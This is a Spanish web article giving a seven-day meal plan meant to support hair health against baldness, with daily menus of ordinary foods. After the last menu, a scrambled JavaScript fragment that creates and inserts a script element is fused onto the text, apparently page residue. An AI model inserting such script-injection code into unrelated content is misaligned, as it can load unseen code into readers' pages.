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Plan alimenticio para cuidar el cabello

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Para ganar la lucha contra la calvicie, se debe pelear en todos los flancos: productos especiales para el cabello, masajes capilares y también una alimentación sana.

Aunque muchos subestimen este aspecto, la dieta es importante para fortalecer el pelo y evitar que, a largo plazo, pueda caerse. Desde ya, el porcentaje del apartado nutricional no es tan importante como otros pero, aún así, atacar por todos los frentes siempre será la mejor forma de ganar una guerra.

Guía alimenticia pensada para un plan de siete días

Día primero.

Por la mañana: leche desnatada, pan con aceite de oliva; un kiwi.

Primera colación del día: una rebanada de pan con tomate natural y queso fresco.

Por la tarde: garbanzos, ensalada de la huerta; una pera

Por la noche: acelgas rehogadas, lenguado al horno con patatas asadas; un zumo de naranja.

Día segundo

Por la mañana: leche desnatada, galletas con mermelada; zumo de frutas.

Primera colación del día: frutos secos (preferentemente nueces)

Por la tarde: brócoli con bechamel y tacos de jamón serrano; cuajada con miel.

Por la noche: tortilla de patatas con tomate natural; mandarina

Día tercero

Por la mañana: yogur desnatado de línea light, cereales sin azúcar; zumo de fruta.

Primera colación del día: pan tostado con paté.

Por la tarde: sopa de pasta, hígado encebollado; un plátano.

Por la noche: guisantes con jamón, pescado con ensalada; un kiwi.

Día cuarto

Por la mañana: leche desnatada, bizcocho casero; zumo de naranja.

Primera colación del día: queso fresco con miel.

Por la tarde: ensalada mixta, albóndigas vegetales; una pera.

Por la noche: sopa juliana, croquetas de bacalao con maíz; una manzana.

Día quinto

Por la mañana: leche desnatada, pan con aceite de oliva y tomate natural; zumo de naranja.

Primera colación del día: cuajada con miel.

Por la tarde: lentejas con chorizo, ensalada templada; una macedonia.

Por la noche: congrio en salsa verde, ensalada; un plátano.

Día sexto

Por la mañana: leche desnatada, cereales, zumo de frutas.

Primera colación del día: bocadillo de pavo.

Por la tarde: puré de zanahoria y/o zapallo, pollo con manzana; melocotón en almíbar

Por la noche: ensalada de gulas; naranja picada con azúcar y canela.

Día séptimo

Por la mañana: leche desnatada, tostadas con mermelada o margarina; zumo de frutas

Primera colación del día: un refresco sin azúcar.

Por la tarde: paella de marisco, ensalada mixta; un kiwi.

Por la noche: tortilla de espinacas; una cuajada con miel.document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement('script');

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